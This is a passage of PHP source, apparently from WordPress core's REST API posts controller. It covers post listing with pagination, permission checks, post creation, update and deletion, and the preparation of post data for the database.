					'field'    => 'slug',
					'operator' => 'NOT EXISTS',
				);
				// Remove the `standard` format, since it cannot be queried.
				unset( $formats[ array_search( 'standard', $formats, true ) ] );
			}

			// Add any remaining formats to the formats query.
			if ( ! empty( $formats ) ) {
				// Add the `post-format-` prefix.
				$terms = array_map(
					static function ( $format ) {
						return "post-format-$format";
					},
					$formats
				);

				$formats_query[] = array(
					'taxonomy' => 'post_format',
					'field'    => 'slug',
					'terms'    => $terms,
					'operator' => 'IN',
				);
			}

			// Enable filtering by both post formats and other taxonomies by combining them with `AND`.
			if ( isset( $args['tax_query'] ) ) {
				$args['tax_query'][] = array(
					'relation' => 'AND',
					$formats_query,
				);
			} else {
				$args['tax_query'] = $formats_query;
			}
		}

		// Force the post_type argument, since it's not a user input variable.
		$args['post_type'] = $this->post_type;

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
			$args['fields'] = 'ids';
			// Disable priming post meta for HEAD requests to improve performance.
			$args['update_post_term_cache'] = false;
			$args['update_post_meta_cache'] = false;
		}

		/**
		 * Filters WP_Query arguments when querying posts via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_query`
		 *  - `rest_page_query`
		 *  - `rest_attachment_query`
		 *
		 * Enables adding extra arguments or setting defaults for a post collection request.
		 *
		 * @since 4.7.0
		 * @since 5.7.0 Moved after the `tax_query` query arg is generated.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_query/
		 *
		 * @param array           $args    Array of arguments for WP_Query.
		 * @param WP_REST_Request $request The REST API request.
		 */
		$args       = apply_filters( "rest_{$this->post_type}_query", $args, $request );
		$query_args = $this->prepare_items_query( $args, $request );

		$posts_query  = new WP_Query();
		$query_result = $posts_query->query( $query_args );

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( ! $is_head_request ) {
			$posts = array();

			update_post_author_caches( $query_result );
			update_post_parent_caches( $query_result );

			if ( post_type_supports( $this->post_type, 'thumbnail' ) ) {
				update_post_thumbnail_cache( $posts_query );
			}

			foreach ( $query_result as $post ) {
				if ( 'edit' === $request['context'] ) {
					$permission = $this->check_update_permission( $post );
				} else {
					$permission = $this->check_read_permission( $post );
				}

				if ( ! $permission ) {
					continue;
				}

				$data    = $this->prepare_item_for_response( $post, $request );
				$posts[] = $this->prepare_response_for_collection( $data );
			}
		}

		// Reset filter.
		if ( 'edit' === $request['context'] ) {
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		$page        = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
		$total_posts = $posts_query->found_posts;

		if ( $total_posts < 1 && $page > 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $query_args['paged'] );

			$count_query = new WP_Query();
			$count_query->query( $query_args );
			$total_posts = $count_query->found_posts;
		}

		$max_pages = (int) ceil( $total_posts / (int) $posts_query->query_vars['posts_per_page'] );

		if ( $page > $max_pages && $total_posts > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $posts );

		$response->header( 'X-WP-Total', (int) $total_posts );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_post_type_items( $this->post_type ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets the post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid post ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$post = get_post( (int) $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! empty( $request->get_query_params()['password'] ) ) {
			// Check post password, and return error if invalid.
			if ( ! hash_equals( $post->post_password, $request->get_query_params()['password'] ) ) {
				return new WP_Error(
					'rest_post_incorrect_password',
					__( 'Incorrect post password.' ),
					array( 'status' => 403 )
				);
			}
		}

		// Allow access to all password protected posts if the context is edit.
		if ( 'edit' === $request['context'] ) {
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );
		}

		if ( $post ) {
			return $this->check_read_permission( $post );
		}

		return true;
	}

	/**
	 * Checks if the user can access password-protected content.
	 *
	 * This method determines whether we need to override the regular password
	 * check in core with a filter.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post to check against.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool True if the user can access password-protected content, otherwise false.
	 */
	public function can_access_password_content( $post, $request ) {
		if ( empty( $post->post_password ) ) {
			// No filter required.
			return false;
		}

		/*
		 * Users always gets access to password protected content in the edit
		 * context if they have the `edit_post` meta capability.
		 */
		if (
			'edit' === $request['context'] &&
			current_user_can( 'edit_post', $post->ID )
		) {
			return true;
		}

		// No password, no auth.
		if ( empty( $request['password'] ) ) {
			return false;
		}

		// Double-check the request password.
		return hash_equals( $post->post_password, $request['password'] );
	}

	/**
	 * Retrieves a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$data     = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $data );

		if ( is_post_type_viewable( get_post_type_object( $post->post_type ) ) ) {
			$response->link_header( 'alternate', get_permalink( $post->ID ), array( 'type' => 'text/html' ) );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to create a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( $post_type->cap->create_posts ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_post_exists',
				__( 'Cannot create existing post.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_type = $this->post_type;

		if ( ! empty( $prepared_post->post_name )
			&& ! empty( $prepared_post->post_status )
			&& in_array( $prepared_post->post_status, array( 'draft', 'pending' ), true )
		) {
			/*
			 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
			 *
			 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
			 */
			$prepared_post->post_name = wp_unique_post_slug(
				$prepared_post->post_name,
				$prepared_post->id,
				'publish',
				$prepared_post->post_type,
				$prepared_post->post_parent
			);
		}

		$post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true, false );

		if ( is_wp_error( $post_id ) ) {

			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}

		$post = get_post( $post_id );

		/**
		 * Fires after a single post is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_post`
		 *  - `rest_insert_page`
		 *  - `rest_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_insert_{$this->post_type}", $post, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post_id, true );
		}

		$terms_update = $this->handle_terms( $post_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single post is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_post`
		 *  - `rest_after_insert_page`
		 *  - `rest_after_insert_attachment`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $post     Inserted or updated post object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a post, false when updating.
		 */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( rest_get_route_for_post( $post ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( $post_type->cap->edit_others_posts ) ) {
			return new WP_Error(
				'rest_cannot_edit_others',
				__( 'Sorry, you are not allowed to update posts as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['sticky'] ) && ! current_user_can( $post_type->cap->edit_others_posts ) && ! current_user_can( $post_type->cap->publish_posts ) ) {
			return new WP_Error(
				'rest_cannot_assign_sticky',
				__( 'Sorry, you are not allowed to make posts sticky.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_assign_terms_permission( $request ) ) {
			return new WP_Error(
				'rest_cannot_assign_term',
				__( 'Sorry, you are not allowed to assign the provided terms.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_post( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}

		$post_before = get_post( $request['id'] );
		$post        = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! empty( $post->post_status ) ) {
			$post_status = $post->post_status;
		} else {
			$post_status = $post_before->post_status;
		}

		/*
		 * `wp_unique_post_slug()` returns the same slug for 'draft' or 'pending' posts.
		 *
		 * To ensure that a unique slug is generated, pass the post data with the 'publish' status.
		 */
		if ( ! empty( $post->post_name ) && in_array( $post_status, array( 'draft', 'pending' ), true ) ) {
			$post_parent     = ! empty( $post->post_parent ) ? $post->post_parent : 0;
			$post->post_name = wp_unique_post_slug(
				$post->post_name,
				$post->ID,
				'publish',
				$post->post_type,
				$post_parent
			);
		}

		// Convert the post object to an array, otherwise wp_update_post() will expect non-escaped input.
		$post_id = wp_update_post( wp_slash( (array) $post ), true, false );

		if ( is_wp_error( $post_id ) ) {
			if ( 'db_update_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}
			return $post_id;
		}

		$post = get_post( $post_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_insert_{$this->post_type}", $post, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['format'] ) && ! empty( $request['format'] ) ) {
			set_post_format( $post, $request['format'] );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$this->handle_featured_media( $request['featured_media'], $post_id );
		}

		if ( ! empty( $schema['properties']['sticky'] ) && isset( $request['sticky'] ) ) {
			if ( ! empty( $request['sticky'] ) ) {
				stick_post( $post_id );
			} else {
				unstick_post( $post_id );
			}
		}

		if ( ! empty( $schema['properties']['template'] ) && isset( $request['template'] ) ) {
			$this->handle_template( $request['template'], $post->ID );
		}

		$terms_update = $this->handle_terms( $post->ID, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $post->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $post_id );
		$fields_update = $this->update_additional_fields_for_object( $post, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		// Filter is fired in WP_REST_Attachments_Controller subclass.
		if ( 'attachment' === $this->post_type ) {
			$response = $this->prepare_item_for_response( $post, $request );
			return rest_ensure_response( $response );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( $post, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single post.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$id    = $post->ID;
		$force = (bool) $request['force'];

		$supports_trash = ( EMPTY_TRASH_DAYS > 0 );

		if ( 'attachment' === $post->post_type ) {
			$supports_trash = $supports_trash && MEDIA_TRASH;
		}

		/**
		 * Filters whether a post is trashable.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_trashable`
		 *  - `rest_page_trashable`
		 *  - `rest_attachment_trashable`
		 *
		 * Pass false to disable Trash support for the post.
		 *
		 * @since 4.7.0
		 *
		 * @param bool    $supports_trash Whether the post type support trashing.
		 * @param WP_Post $post           The Post object being considered for trashing support.
		 */
		$supports_trash = apply_filters( "rest_{$this->post_type}_trashable", $supports_trash, $post );

		if ( ! $this->check_delete_permission( $post ) ) {
			return new WP_Error(
				'rest_user_cannot_delete_post',
				__( 'Sorry, you are not allowed to delete this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $post, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If we don't support trashing for this type, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The post does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $post->post_status ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The post has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result   = wp_trash_post( $id );
			$post     = get_post( $id );
			$response = $this->prepare_item_for_response( $post, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The post cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires immediately after a single post is deleted or trashed via the REST API.
		 *
		 * They dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_post`
		 *  - `rest_delete_page`
		 *  - `rest_delete_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post          $post     The deleted or trashed post.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->post_type}", $post, $response, $request );

		return $response;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = array();

		foreach ( $prepared_args as $key => $value ) {
			/**
			 * Filters the query_vars used in get_items() for the constructed query.
			 *
			 * The dynamic portion of the hook name, `$key`, refers to the query_var key.
			 *
			 * @since 4.7.0
			 *
			 * @param string $value The query_var value.
			 */
			$query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		}

		if ( 'post' !== $this->post_type || ! isset( $query_args['ignore_sticky_posts'] ) ) {
			$query_args['ignore_sticky_posts'] = true;
		}

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		return $query_args;
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		// Use the date if passed.
		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		// Return null if $date_gmt is empty/zeros.
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		// Return the formatted datetime.
		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Prepares a single post for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post  = new stdClass();
		$current_status = '';

		// Post ID.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$current_status    = $existing_post->post_status;
		}

		$schema = $this->get_item_schema();

		// Post title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_post->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_post->post_title = $request['title']['raw'];
			}
		}

		// Post content.
		if ( ! empty( $schema['properties']['content'] ) && isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$prepared_post->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$prepared_post->post_content = $request['content']['raw'];
			}
		}

		// Post excerpt.
		if ( ! empty( $schema['properties']['excerpt'] ) && isset( $request['excerpt'] ) ) {
			if ( is_string( $request['excerpt'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt'];
			} elseif ( isset( $request['excerpt']['raw'] ) ) {
				$prepared_post->post_excerpt = $request['excerpt']['raw'];
			}
		}

		// Post type.
		if ( empty( $request['id'] ) ) {
			// Creating new post, use default type for the controller.
			$prepared_post->post_type = $this->post_type;
		} else {
			// Updating a post, use previous type.
			$prepared_post->post_type = get_post_type( $request['id'] );
		}

		$post_type = get_post_type_object( $prepared_post->post_type );

		// Post status.
		if (
			! empty( $schema['properties']['status'] ) &&
			isset( $request['status'] ) &&
			( ! $current_status || $current_status !== $request['status'] )
		) {
			$status = $this->handle_status_param( $request['status'], $post_type );

			if ( is_wp_error( $status ) ) {
				return $status;
			}

			$prepared_post->post_status = $status;
		}

		// Post date.
		if ( ! empty( $schema['properties']['date'] ) && ! empty( $request['date'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date : false;
			$date_data    = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) && $current_date !== $date_data[0] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		} elseif ( ! empty( $schema['properties']['date_gmt'] ) && ! empty( $request['date_gmt'] ) ) {
			$current_date = isset( $prepared_post->ID ) ? get_post( $prepared_post->ID )->post_date_gmt : false;
			$date_data    = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) && $current_date !== $date_data[1] ) {
				list( $prepared_post->post_date, $prepared_post->post_date_gmt ) = $date_data;
				$prepared_post->edit_date                                        = true;
			}
		}

		/*
		 * Sending a null date or date_gmt value resets date and date_gmt to their
		 * default values (`0000-00-00 00:00:00`).
		 */
		if (
			( ! empty( $schema['properties']['date_gmt'] ) && $request->has_param( 'date_gmt' ) && null === $request['date_gmt'] ) ||
			( ! empty( $schema['properties']['date'] ) && $request->has_param( 'date' ) && null === $request['date'] )
		) {
			$prepared_post->post_date_gmt = null;
			$prepared_post->post_date     = null;
		}

		// Post slug.
		if ( ! empty( $schema['properties']['slug'] ) && isset( $request['slug'] ) ) {
			$prepared_post->post_name = $request['slug'];
		}

		// Author.
		if ( ! empty( $schema['properties']['author'] ) && ! empty( $request['author'] ) ) {
			$post_author = (int) $request['author'];

			if ( get_current_user_id() !== $post_author ) {
				$user_obj = get_userdata( $post_author );

				if ( ! $user_obj ) {
					return new WP_Error(
						'rest_invalid_author',
						__( 'Invalid author ID.' ),
						array( 'status' => 400 )
					);
				}
			}

			$prepared_post->post_author = $post_author;
		}

		// Post password.
		if ( ! empty( $schema['properties']['password'] ) && isset( $request['password'] ) ) {
			$prepared_post->post_password = $request['password'];

			if ( '' !== $request['password'] ) {
				if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A post can not be sticky and have a password.' ),
						array( 'status' => 400 )
					);
				}

				if ( ! empty( $prepared_post->ID ) && is_sticky( $prepared_post->ID ) ) {
					return new WP_Error(
						'rest_invalid_field',
						__( 'A sticky post can not be password protected.' ),
						array( 'status' => 400 )
					);
				}
			}
		}

		if ( ! empty( $schema['properties']['sticky'] ) && ! empty( $request['sticky'] ) ) {
			if ( ! empty( $prepared_post->ID ) && post_password_required( $prepared_post->ID ) ) {
				return new WP_Error(
					'rest_invalid_field',
					__( 'A password protected post can not be set to sticky.' ),
					array( 'status' => 400 )
				);
			}
		}

		// Parent.
		if ( ! empty( $schema['properties']['parent'] ) && isset( $request['parent'] ) ) {
			if ( 0 === (int) $request['parent'] ) {
				$prepared_post->post_parent = 0;
			} else {
				$parent = get_post( (int) $request['parent'] );

				if ( empty( $parent ) ) {
					return new WP_Error(
						'rest_post_invalid_id',
						__( 'Invalid post parent ID.' ),
						array( 'status' => 400 )
					);
				}

				$prepared_post->post_parent = (int) $parent->ID;
			}
		}

		// Menu order.
		if ( ! empty( $schema['properties']['menu_order'] ) && isset( $request['menu_order'] ) ) {
			$prepared_post->menu_order = (int) $request['menu_order'];
		}

		// Comment status.
		if ( ! empty( $schema['properties']['comment_status'] ) && ! empty( $request['comment_status'] ) ) {
			$prepared_post->comment_status = $request['comment_status'];
		}

		// Ping status.
		if ( ! empty( $schema['properties']['ping_status'] ) && ! empty( $request['ping_status'] ) ) {
			$prepared_post->ping_status = $request['ping_status'];
		}

		if ( ! empty( $schema['properties']['template'] ) ) {
			// Force template to null so that it can be handled exclusively by the REST controller.
			$prepared_post->page_template = null;
		}

		/**
		 * Filters a post before it is inserted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_post`
		 *  - `rest_pre_insert_page`
		 *  - `rest_pre_insert_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param stdClass        $prepared_post An object representing a single post prepared
		 *                                       for inserting or updating the database.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->post_type}", $prepared_post, $request );
	}

	/**
	 * Checks whether the status is valid for the given post.
	 *
	 * Allows for sending an update request with the current status, even if that status would not be acceptable.
	 *
	 * @since 5.6.0
	 *
	 * @param string          $status  The provided status.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return true|WP_Error True if the status is valid, or WP_Error if not.
	 */
	public function check_status( $status, $request, $param ) {
		if ( $request['id'] ) {
			$post = $this->get_post( $request['id'] );

			if ( ! is_wp_error( $post ) && $post->post_status === $status ) {
				return true;
			}
		}

		$args = $request->get_attributes()['args'][ $param ];

		return rest_validate_value_from_schema( $status, $args, $param );
	}

	/**
	 * Determines validity and normalizes the given status parameter.
	 *
	 * @since 4.7.0
	 *
	 * @param string       $post_status Post status.
	 * @param WP_Post_Type $post_type   Post type.
	 * @return string|WP_Error Post status or WP_Error if lacking the proper permission.
	 */
	protected function handle_status_param( $post_status, $post_type ) {

		switch ( $post_status ) {
			case 'draft':
			case 'pending':
				break;
			case 'private':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
